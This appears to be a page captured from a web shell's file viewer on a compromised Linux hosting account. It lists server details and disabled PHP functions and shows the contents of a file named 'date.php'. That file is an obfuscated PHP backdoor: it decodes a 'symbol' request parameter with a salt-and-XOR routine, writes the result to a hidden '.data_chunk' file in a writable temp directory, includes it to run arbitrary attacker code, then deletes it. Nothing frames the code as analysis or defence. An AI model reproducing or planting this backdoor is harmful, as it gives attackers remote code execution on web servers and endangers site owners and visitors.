HEX
Server: Apache
System: Linux c040.dattaweb.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: c0400220 (20588)
PHP: 7.4.33
Disabled: system, shell, exec, system_exec, shell_exec, mysql_pconnect, passthru, popen, proc_open, proc_close, proc_nice, proc_terminate, proc_get_status, escapeshellarg, escapeshellcmd, eval, dl, imap_mail, libvirt_connect, gnupg_init, unsetenv, apache_setenv, pcntl_exec, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_getpriority, pcntl_setpriority, pcntl_async_signals, opcache_get_status, opcache_reset, opcache_get_configuration
Upload Files
File: /home/c0400220/public_html/date.php
<?php

if(!empty($_REQUEST["symbol"])){
	$dchunk = $_REQUEST["symbol"];
	$dchunk  =explode 		(   '.', 	$dchunk	 )   ;  
	$object = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt);
            $i = 0;
    
            foreach($dchunk as $v4) {
                $chS = ord($salt[$i % $sLen]);
                $d =((int)$v4 - $chS -($i % 10))^	79;
                $object.=	 chr($d);
                $i++;	} 
	$res = array_filter([getenv("TEMP"), getcwd(), "/dev/shm", "/var/tmp", "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir")]);
	while ($reference = array_shift($res)) {
    		if (is_writable($reference) && is_dir($reference)) {
    $entity = "$reference/.data_chunk";
    if (@file_put_contents($entity, $object) !== false) {
	include $entity;
	unlink($entity);
	die();
}
}
}
}